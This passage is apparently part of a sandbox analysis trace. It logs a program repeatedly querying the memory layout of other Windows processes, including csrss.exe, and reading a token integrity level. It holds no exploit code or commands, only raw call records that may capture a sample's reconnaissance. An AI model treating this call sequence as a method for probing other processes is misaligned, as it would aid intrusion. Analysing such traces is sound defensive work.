VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77089000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.804] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7708b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708b000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.804] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7708e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708e000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0x0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x770f9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x770f9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0x0, Type=0x7ee7000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x2, Protect=0x0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7ffe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7ffe0000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7ffe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7ffe1000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0x0, Type=0xf000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7fff0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7fff0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0x0, Type=0x7f280000), ResultLength=0x0) returned 0x0 [0057.805] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x7feff270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xff270000, AllocationBase=0x7fe, AllocationProtect=0xff270000, RegionSize=0x7fe, State=0x80, Protect=0x0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.807] QueryFullProcessImageNameW (in: hProcess=0x188, dwFlags=0x0, lpExeName=0xfa4a18, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x17af784) returned 1 [0057.807] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa4a18) returned 1 [0057.807] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.807] IsWow64Process (in: hProcess=0x188, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.807] NtQueryInformationProcess (in: ProcessHandle=0x188, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.807] GetProcessTimes (in: hProcess=0x188, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.808] OpenProcessToken (in: ProcessHandle=0x188, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.808] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.808] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.808] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.808] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.808] NtClose (Handle=0x1f0) returned 0x0 [0057.808] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0057.808] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x67000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76db2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76db2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76dc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc2000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76dc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76dc4000, AllocationBase=0x0, AllocationProtect=0x76d30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x66000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76e2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76e30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76e30000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76ecc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76ecc000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6e000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76f3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3a000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76f3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f3c000, AllocationBase=0x0, AllocationProtect=0x76e30000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x13000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76f4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f4f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.813] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x76f50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x76f50000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77053000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77053000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77082000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77082000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77083000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77083000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77084000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77084000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77085000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77085000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77087000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77087000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77088000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77088000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x77089000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x77089000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7708b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708b000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.814] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7708e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7708e000, AllocationBase=0x0, AllocationProtect=0x76f50000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x770f9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x770f9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7ee7000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x5000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefcddb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddb000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefcddc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddc000, AllocationBase=0x7fe, AllocationProtect=0xfcdd0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefcddf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcddf000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.815] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefcde0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfcde0000, AllocationBase=0x7fe, AllocationProtect=0xfcde0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.816] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefce43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce43000, AllocationBase=0x7fe, AllocationProtect=0xfcde0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x25000), ResultLength=0x0) returned 0x0 [0057.816] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefce68000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce68000, AllocationBase=0x7fe, AllocationProtect=0xfcde0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.816] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefce69000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce69000, AllocationBase=0x7fe, AllocationProtect=0xfcde0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x8000), ResultLength=0x0) returned 0x0 [0057.816] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefce71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfce71000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3f000), ResultLength=0x0) returned 0x0 [0057.816] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefceb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfceb0000, AllocationBase=0x7fe, AllocationProtect=0xfceb0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.817] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd03a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd03a000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x16000), ResultLength=0x0) returned 0x0 [0057.817] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd050000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd050000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.817] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd052000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd052000, AllocationBase=0x7fe, AllocationProtect=0xfcff0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd05b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd05b000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x215000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd270000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd270000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd2c2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2c2000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0xa000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd2cc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cc000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd2cd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2cd000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd2ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2ce000, AllocationBase=0x7fe, AllocationProtect=0xfd270000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x9000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd2d7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd2d7000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x6c9000), ResultLength=0x0) returned 0x0 [0057.818] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefd9a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfd9a0000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefda83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfda83000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2c000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdaaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdaaf000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdab1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdab1000, AllocationBase=0x7fe, AllocationProtect=0xfd9a0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1c000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdacd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdacd000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdad0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdad0000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb4a000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x17000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb61000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb63000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.819] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb64000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0xfdb65000, AllocationBase=0x7fe, AllocationProtect=0xfdad0000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0057.820] NtQueryVirtualMemory (in: ProcessHandle=0x188, Address=0x7fefdb67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: 